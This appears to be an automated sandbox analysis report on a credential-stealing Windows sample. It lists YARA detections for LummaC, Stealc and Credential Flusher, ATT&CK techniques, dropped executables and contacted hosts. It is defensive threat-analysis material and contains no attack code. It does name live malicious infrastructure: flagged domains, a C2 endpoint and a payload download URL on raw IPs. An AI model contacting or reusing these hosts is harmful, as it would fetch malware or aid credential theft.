Source: Yara match	File source: 00000012.00000003.2068205912.0000000001190000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2043212378.0000000001190000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1459148229.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2082564120.0000000001191000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1477555129.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1446807409.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1431421560.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1474200360.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8138ba21a1.exe PID: 2276, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 136916b3ff.exe PID: 5936, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8138ba21a1.exe PID: 2276, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 38.2.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.bd214fbd32.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.bd214fbd32.exe.50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.0.num.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.J2IWSCR5FJAMGGW2VC4ET4.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000003.2232897578.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2122542040.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2204680334.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1985396722.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2323652564.0000000000291000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2029327781.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1883606041.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1600676886.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2207625905.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1688670034.0000000000471000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1690398993.000000000111E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.2182412308.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.1987795463.000000000112E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.1970036309.0000000000361000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1923946896.0000000000051000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2116759682.0000000000051000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J2IWSCR5FJAMGGW2VC4ET4.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd214fbd32.exe PID: 4864, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	971 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	471 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	52%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001093001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001093001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001093001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	55%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
example.org	0%	Virustotal		Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
services.addons.mozilla.org	151.101.1.91	true	false		unknown
sergei-esenin.com	104.21.53.8	true	true		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.184.238	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
steamcommunity.com	104.102.49.254	true	true		unknown
ipv4only.arpa	192.0.0.170	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false		unknown
spirittunek.store	unknown	unknown	true		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
licendfilteo.site	unknown	unknown	true		unknown
time.windows.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
eaglepawnoy.store	unknown	unknown	true		unknown
bathdoomgaz.store	unknown	unknown	true		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
studennotediw.store	unknown	unknown	true		unknown
mobbipenju.store	unknown	unknown	true		unknown
normandy.cdn.mozilla.net	unknown	unknown	false		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
clearancek.site	unknown	unknown	true		unknown
dissapoiznw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mozilla.org/#/properties/bucketConfig/properties/totalhttp://mozilla.org/#/properties/userFac	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.1417659219.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/acces	8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812498716.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	file.exe, 00000000.00000003.1487828649.00000000011F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1459054551.0000000005986000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1431328148.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2067087798.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2047135073.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2067414853.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2021461230.00000000059AD000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2095726575.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2181105344.0000000001119000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2049269933.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2041871349.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001D.00000002.2122168164.000001C9572D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	8138ba21a1.exe, 0000000A.00000003.1812286819.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000002.1815153546.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812465296.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 0000000A.00000003.1812336611.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.o	firefox.exe, 0000001D.00000003.2084605460.000001C9686D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2191911363.000001C9686E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/disableGreaseOnFallback	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.1417659219.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1983432010.000000000117B000.00000004.00000020.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.1984181714.0000000001126000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001D.00000002.2175868045.000001C9683E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2129414948.000001C963357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C9634DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2044345773.000001C969540000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2300171636.000001C96F5F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2041476436.000001C96F758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2175868045.000001C96831E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C965782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2249675969.000001C96953A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2155269647.000001C967103000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001D.00000002.2175868045.000001C96836D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001D.00000002.2126645860.000001C962BDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001D.00000002.2227705741.000001C968E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C9679BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2229257788.000001C968F51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967469000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001D.00000002.2300171636.000001C96F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F76E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2094028920.000001C9686CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F716000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96884F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985862608.000001C966F7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C9688AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2110617616.000001C9686CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C963403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/userFacingName	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16:80/mine/random.exeages	8138ba21a1.exe, 00000012.00000003.2181105344.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001D.00000003.1984164128.000001C966D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985500280.000001C966F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1984524321.000001C966F21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.1985118386.000001C966F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches/anyOf/0http	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	firefox.exe, 0000001D.00000002.2168505988.000001C96780A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F7E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
